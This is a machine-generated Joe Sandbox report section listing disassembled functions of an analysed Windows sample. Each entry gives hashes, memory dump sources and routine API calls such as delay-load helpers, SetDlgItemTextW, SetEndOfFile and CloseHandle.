Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 36a7b93b986e72fcdb95939ab92bbba206f91f34588706e58512b53eed62a76a
Instruction ID: 3882a1ac807825e2e0080d9f3e0eaea84bcf95cdbecfeabec28086afa3a9519a
Opcode Fuzzy Hash: 36a7b93b986e72fcdb95939ab92bbba206f91f34588706e58512b53eed62a76a
Instruction Fuzzy Hash: 1CA0029559D1217C310451517E46C37019DC4C6B517314A99F40DD58516A8159855431

Function 00B24976 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0c1ea4ce943ba2e2f89fd7ce2515790a2ed55109eeb2e8c6c5748da27341a048
Instruction ID: 3882a1ac807825e2e0080d9f3e0eaea84bcf95cdbecfeabec28086afa3a9519a
Opcode Fuzzy Hash: 0c1ea4ce943ba2e2f89fd7ce2515790a2ed55109eeb2e8c6c5748da27341a048
Instruction Fuzzy Hash: 1CA0029559D1217C310451517E46C37019DC4C6B517314A99F40DD58516A8159855431

Function 00B24A02 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0a26188f819b36092106891c3f878ba0b22ec209456aa551c8cb7a74ff10d8c7
Instruction ID: 3882a1ac807825e2e0080d9f3e0eaea84bcf95cdbecfeabec28086afa3a9519a
Opcode Fuzzy Hash: 0a26188f819b36092106891c3f878ba0b22ec209456aa551c8cb7a74ff10d8c7
Instruction Fuzzy Hash: 1CA0029559D1217C310451517E46C37019DC4C6B517314A99F40DD58516A8159855431

Function 00B24B85 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24B3B

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 613fbfb07e5091a673c20f8fd2272d38f5d535f2535e185ea58717193d5f8168
Instruction ID: eb4b9117c2bea9ecc0597019bea3fdecfe6fc29a0b9313dd999b84ad66abe7ec
Opcode Fuzzy Hash: 613fbfb07e5091a673c20f8fd2272d38f5d535f2535e185ea58717193d5f8168
Instruction Fuzzy Hash: 1BA0029519D1317C310451557E47D37159DC4C5B517315799F409C54556AC059455031

Function 00B24B2E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24B3B

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c4609f3c23b66181d328d9821cada5a87cf998d306d642f5614dff28d2ee4bdf
Instruction ID: 75d5143cb32a96e54f3e232a2f8d6acb8dda3cd34bd5f0152ae84c8b18088329
Opcode Fuzzy Hash: c4609f3c23b66181d328d9821cada5a87cf998d306d642f5614dff28d2ee4bdf
Instruction Fuzzy Hash: 10A001962AD1317C3108A256BE4BD3B269DC8D2B21731A79AF409D5896AAD05A896032

Function 00B24B71 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24B3B

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ecfb3dad201b2fee29569f7b7aa3b0e07b7b2ba33ae8026ae9dbc78305420642
Instruction ID: eb4b9117c2bea9ecc0597019bea3fdecfe6fc29a0b9313dd999b84ad66abe7ec
Opcode Fuzzy Hash: ecfb3dad201b2fee29569f7b7aa3b0e07b7b2ba33ae8026ae9dbc78305420642
Instruction Fuzzy Hash: 1BA0029519D1317C310451557E47D37159DC4C5B517315799F409C54556AC059455031

Function 00B24B7B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24B3B

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 54835d13ad05f7c981d9d830c35dfa9d016524d8c698c5dfc5116d988df84d10
Instruction ID: eb4b9117c2bea9ecc0597019bea3fdecfe6fc29a0b9313dd999b84ad66abe7ec
Opcode Fuzzy Hash: 54835d13ad05f7c981d9d830c35dfa9d016524d8c698c5dfc5116d988df84d10
Instruction Fuzzy Hash: 1BA0029519D1317C310451557E47D37159DC4C5B517315799F409C54556AC059455031

Function 00B24B53 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24B3B

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f88e4f78664b6325b72ab4705c7cd172a62988822fdbd6a7d99f2fe18496be97
Instruction ID: eb4b9117c2bea9ecc0597019bea3fdecfe6fc29a0b9313dd999b84ad66abe7ec
Opcode Fuzzy Hash: f88e4f78664b6325b72ab4705c7cd172a62988822fdbd6a7d99f2fe18496be97
Instruction Fuzzy Hash: 1BA0029519D1317C310451557E47D37159DC4C5B517315799F409C54556AC059455031

Function 00B24B49 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24B3B

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 319ec59ad1ffa824b830a25b8cd59a5358e88c7acd3e75ab2e45d977ff223255
Instruction ID: eb4b9117c2bea9ecc0597019bea3fdecfe6fc29a0b9313dd999b84ad66abe7ec
Opcode Fuzzy Hash: 319ec59ad1ffa824b830a25b8cd59a5358e88c7acd3e75ab2e45d977ff223255
Instruction Fuzzy Hash: 1BA0029519D1317C310451557E47D37159DC4C5B517315799F409C54556AC059455031

Function 00B24CA8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24C90

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ebdd085c650bb2f7fe8a7f9eb5be111b6dbf7754b59d1692e82e1c2aede5edc4
Instruction ID: a8e2f81b5ee11c25e38b2d2abdc0c763c4eb3fa0da79d1e4f056b8542d922e20
Opcode Fuzzy Hash: ebdd085c650bb2f7fe8a7f9eb5be111b6dbf7754b59d1692e82e1c2aede5edc4
Instruction Fuzzy Hash: EBA001962AE126BC3109A255BE46C3B029DC4C6B617328A9AF40AC5892AA8019896031

Function 00B24CFF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24CF1

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 77ab612ee225df55d17424f824850ade9a255c2a226901f95eed2553aba11274
Instruction ID: b7cd2c1549d9854d69cd8d73b8333d94282419f835f42255d36dd836dd1ec64e
Opcode Fuzzy Hash: 77ab612ee225df55d17424f824850ade9a255c2a226901f95eed2553aba11274
Instruction Fuzzy Hash: C4A0029569D5227C310861557F46C37019DD4D5B517314699F409C54516B8119595031

Function 00B24CE4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24CF1

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2b6f303f5aa0b8f8d92d840775c0abe40235316bd26bc8ec1f65ab9e0092af58
Instruction ID: 6bbb0ef0d7318fd1d5dbd8c32ad44e84a9b4053584bae0c9be24a507ae238437
Opcode Fuzzy Hash: 2b6f303f5aa0b8f8d92d840775c0abe40235316bd26bc8ec1f65ab9e0092af58
Instruction Fuzzy Hash: 8BA0019A6AE522BD3108A255BF4AC3B029DD4D2B21731869AF409D6892AB81199A6071

Function 00B24CD0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24C90

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a5441720db0c5922d565c0df9c47ea4951598cc66a55ce6090876e74a0538782
Instruction ID: a8e2f81b5ee11c25e38b2d2abdc0c763c4eb3fa0da79d1e4f056b8542d922e20
Opcode Fuzzy Hash: a5441720db0c5922d565c0df9c47ea4951598cc66a55ce6090876e74a0538782
Instruction Fuzzy Hash: EBA001962AE126BC3109A255BE46C3B029DC4C6B617328A9AF40AC5892AA8019896031

Function 00B24CDA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24C90

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3782e1fc10d151cf159a0e5de576972e9a2682b70f5168d92cc604b633c1b879
Instruction ID: a8e2f81b5ee11c25e38b2d2abdc0c763c4eb3fa0da79d1e4f056b8542d922e20
Opcode Fuzzy Hash: 3782e1fc10d151cf159a0e5de576972e9a2682b70f5168d92cc604b633c1b879
Instruction Fuzzy Hash: EBA001962AE126BC3109A255BE46C3B029DC4C6B617328A9AF40AC5892AA8019896031

Function 00B24CC6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24C90

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 659697d54784a94339797f40a4f2d2c26e3977ea83f8b8d3ce0d874ecccb3825
Instruction ID: a8e2f81b5ee11c25e38b2d2abdc0c763c4eb3fa0da79d1e4f056b8542d922e20
Opcode Fuzzy Hash: 659697d54784a94339797f40a4f2d2c26e3977ea83f8b8d3ce0d874ecccb3825
Instruction Fuzzy Hash: EBA001962AE126BC3109A255BE46C3B029DC4C6B617328A9AF40AC5892AA8019896031

Function 00B01DE7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetDlgItemTextW.USER32(?,?,?), ref: 00B01DFC

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 2f8107bac597b860054f43cb7408ae406f7ff1fc420c282af27345f519dc330b
Instruction ID: 8557a9a61b8acd134cf1c772f0d7636b35dc1fd2a0bcaf5d8ee32285dcb8ef9c
Opcode Fuzzy Hash: 2f8107bac597b860054f43cb7408ae406f7ff1fc420c282af27345f519dc330b
Instruction Fuzzy Hash: 0FC0EA31508200EFCB058B68E948E1ABBA6BB95312B5189A8F15486020C771D920DB62

Function 00B24D13 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24CF1

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ace680e3ddc143e6a0d1afc3e9ec931e8bb518afc6fcd722c834a33159e32d89
Instruction ID: b7cd2c1549d9854d69cd8d73b8333d94282419f835f42255d36dd836dd1ec64e
Opcode Fuzzy Hash: ace680e3ddc143e6a0d1afc3e9ec931e8bb518afc6fcd722c834a33159e32d89
Instruction Fuzzy Hash: C4A0029569D5227C310861557F46C37019DD4D5B517314699F409C54516B8119595031

Function 00B0E8D9 Relevance: 1.5, APIs: 1, Instructions: 5fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00B0D115,?,?,?,?,?,?,?), ref: 00B0E8DC

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: de1a95f08c06e31d6db2acf19d382f3a9b2a34748c12ee89c2fa2cc9ba9495f7
Instruction ID: f10931b2f58818aa1ec80118a29789b538f41d62e5b633ad20cd239700c4c46f
Opcode Fuzzy Hash: de1a95f08c06e31d6db2acf19d382f3a9b2a34748c12ee89c2fa2cc9ba9495f7
Instruction Fuzzy Hash: E8A00130205145CB9A451B61DE0960E7A6AAE41699B2980A8A4099A071DB268CA2AA41

Function 00B0DE50 Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00000001,00B0DE10,5EA84158,?,00000000,00B393B1,000000FF,?,00B0BEA6,?), ref: 00B0DE6B

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

